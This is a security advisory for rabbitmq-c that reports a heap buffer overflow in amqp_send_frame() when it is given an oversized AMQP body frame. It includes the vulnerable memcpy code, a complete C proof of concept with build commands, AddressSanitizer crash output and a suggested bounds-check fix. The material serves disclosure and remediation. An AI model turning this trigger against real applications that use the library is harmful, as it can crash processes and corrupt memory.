GHSA-hfjv-vcp3-39wh on CTRL-OS 26.05
Aliases: GHSA-hfjv-vcp3-39wh
Packages: rabbitmq-c
Status: Plausible
Advisory Information
Summary
A heap buffer overflow exists in
rabbitmq-cwhen the publicamqp_send_frame()API is used to serialize an oversizedAMQP_FRAME_BODY.The issue occurs because
amqp_frame_to_bytes()copiesframe.payload.body_fragment.lenbytes into the connection outbound buffer without validating that the body fragment fits within the allocated frame buffer. An application that passes an oversized body frame toamqp_send_frame()can trigger a heap out-of-bounds write, resulting in process crash and memory corruption.The issue is reproducible locally and occurs before any network communication with a RabbitMQ broker.
Details
The vulnerable code path is:
amqp_send_frame() -> amqp_send_frame_inner() -> amqp_frame_to_bytes() -> memcpy()In
librabbitmq/amqp_connection.c, theAMQP_FRAME_BODYcase serializes the body payload into the outbound frame buffer:case AMQP_FRAME_BODY: { const amqp_bytes_t *body = &frame->payload.body_fragment; memcpy(amqp_offset(out_frame, HEADER_SIZE), body->bytes, body->len); out_frame_len = body->len; break; }The issue is that
body->lenis trusted directly. There is no validation that the body payload length is smaller than the available capacity of the outbound frame buffer.A newly created connection allocates an outbound buffer with a default size of 65536 bytes. However, the public API allows the caller to construct an
amqp_frame_tmanually and pass it toamqp_send_frame(). If the frame type isAMQP_FRAME_BODYandpayload.body_fragment.lenis larger than the outbound buffer capacity,memcpy()writes past the end of the heap allocation.In the reproduced case:
body_fragment.len = 200000 outbound_buffer size = 65536This results in
memcpy()attempting to copy 200000 bytes into a 65536-byte heap buffer.The expected behavior is that
amqp_send_frame()should reject the oversized frame and return an error such asAMQP_STATUS_BAD_AMQP_DATA, rather than corrupting heap memory.Proof of Concept
The following PoC creates a new
rabbitmq-cconnection object, manually constructs anAMQP_FRAME_BODY, assigns a body length larger than the connection outbound buffer, and sends it through the publicamqp_send_frame()API.No RabbitMQ broker is required. The crash occurs locally during frame serialization before any socket write.
1. Build rabbitmq-c with AddressSanitizer
rm -rf build-asan cmake -S . -B build-asan -G Ninja \ -DBUILD_TESTING=OFF \ -DBUILD_TOOLS=OFF \ -DBUILD_EXAMPLES=OFF \ -DBUILD_SHARED_LIBS=OFF \ -DENABLE_SSL_SUPPORT=OFF \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_COMPILER=gcc \ -DCMAKE_C_FLAGS="-g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" cmake --build build-asan -j"$(nproc)"2. Create the PoC file
cat > poc_send_frame_body_oob.c <<'EOF' #include <rabbitmq-c/amqp.h> #include <rabbitmq-c/framing.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { amqp_connection_state_t conn = amqp_new_connection(); if (conn == NULL) { fprintf(stderr, "amqp_new_connection failed\n"); return 1; } /* * The default outbound buffer allocated by amqp_new_connection() * is 65536 bytes. This body length is intentionally larger. */ size_t body_len = 200000; char *body = malloc(body_len); if (body == NULL) { fprintf(stderr, "malloc failed\n"); amqp_destroy_connection(conn); return 1; } memset(body, 'A', body_len); amqp_frame_t frame; memset(&frame, 0, sizeof(frame)); frame.frame_type = AMQP_FRAME_BODY; frame.channel = 1; frame.payload.body_fragment.bytes = body; frame.payload.body_fragment.len = body_len; printf("Sending BODY frame with len=%zu via amqp_send_frame()\n", body_len); fflush(stdout); /* * Vulnerable call: * * amqp_send_frame() calls amqp_frame_to_bytes(), which copies * body_fragment.len bytes into the connection outbound buffer * without checking whether the body fits. */ int rc = amqp_send_frame(conn, &frame); printf("amqp_send_frame returned rc=%d\n", rc); free(body); amqp_destroy_connection(conn); return 0; } EOF3. Compile the PoC
gcc -g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer \ -DAMQP_STATIC -DHAVE_CONFIG_H \ -Iinclude \ -Ibuild-asan/include \ -Ibuild-asan/librabbitmq \ -Ilibrabbitmq \ poc_send_frame_body_oob.c \ build-asan/librabbitmq/librabbitmq.a \ -o poc_send_frame_body_oob4. Run the PoC
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 \ UBSAN_OPTIONS=halt_on_error=1 \ ./poc_send_frame_body_oob5. Observed result
AddressSanitizer reports a heap-buffer-overflow write:
Sending BODY frame with len=200000 via amqp_send_frame() ================================================================= ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 200000 #0 memcpy #1 amqp_frame_to_bytes librabbitmq/amqp_connection.c:467 #2 amqp_send_frame_inner librabbitmq/amqp_connection.c:548 #3 amqp_send_frame librabbitmq/amqp_connection.c:531 #4 main poc_send_frame_body_oob.c:35 0x7e9e30004800 is located 0 bytes after 65536-byte region allocated by thread T0 here: #0 realloc #1 amqp_tune_connection librabbitmq/amqp_connection.c:140 #2 amqp_new_connection librabbitmq/amqp_connection.c:53 #3 main poc_send_frame_body_oob.c:8 SUMMARY: AddressSanitizer: heap-buffer-overflow librabbitmq/amqp_connection.c:467 in amqp_frame_to_bytesThis confirms that
amqp_frame_to_bytes()attempts to copy 200000 bytes into an outbound heap buffer of 65536 bytes.Why the PoC triggers the issue
The PoC performs the following steps:
- Calls
amqp_new_connection().- This initializes a connection object and allocates the internal outbound frame buffer.
- Allocates a 200000-byte body buffer filled with
Abytes.- Creates an
amqp_frame_tobject manually.- Sets
frame.frame_typetoAMQP_FRAME_BODY.- Sets
frame.payload.body_fragment.lento200000.- Calls the public
amqp_send_frame()API.amqp_send_frame()callsamqp_frame_to_bytes().- In the
AMQP_FRAME_BODYcase,memcpy()copiesbody->lenbytes into the outbound buffer without checking capacity.- Since the outbound buffer is only 65536 bytes, the copy writes past the end of the heap allocation.
Impact
This issue results in a heap out-of-bounds write and memory corruption inside the
rabbitmq-cprocess.Applications using the low-level public
amqp_send_frame()API may be affected if attacker-controlled or insufficiently validated input is used to constructAMQP_FRAME_BODYframes.The normal higher-level publishing API may avoid this by splitting message bodies into valid frame-sized chunks. However, the lower-level public frame-sending API does not enforce this bound for
AMQP_FRAME_BODY.Successful exploitation can cause process termination. Depending on the application environment and memory layout, the out-of-bounds write may also lead to broader memory corruption effects.
Suggested Fix
Before copying the body payload, validate that
body->lendoes not exceed the available outbound buffer capacity.A possible fix is:
case AMQP_FRAME_BODY: { const amqp_bytes_t *body = &frame->payload.body_fragment; size_t max_body_payload_size; if (buffer.len < HEADER_SIZE + FOOTER_SIZE) { return AMQP_STATUS_BAD_AMQP_DATA; } max_body_payload_size = buffer.len - HEADER_SIZE - FOOTER_SIZE; if (body->len > max_body_payload_size) { return AMQP_STATUS_BAD_AMQP_DATA; } if (body->len > 0 && body->bytes == NULL) { return AMQP_STATUS_INVALID_PARAMETER; } memcpy(amqp_offset(out_frame, HEADER_SIZE), body->bytes, body->len); out_frame_len = body->len; break; }With this validation, oversized body frames are rejected before the unsafe
memcpy()call.
Updates
2026-07-27 20:28 CEST
Metadata changes:
- Status for package
rabbitmq-c: “Plausible”
(Amended on: 2026-07-27 23:17 CEST)
2026-07-27 20:26 CEST
Metadata changes:
- Status for package
rabbitmq-c: “New”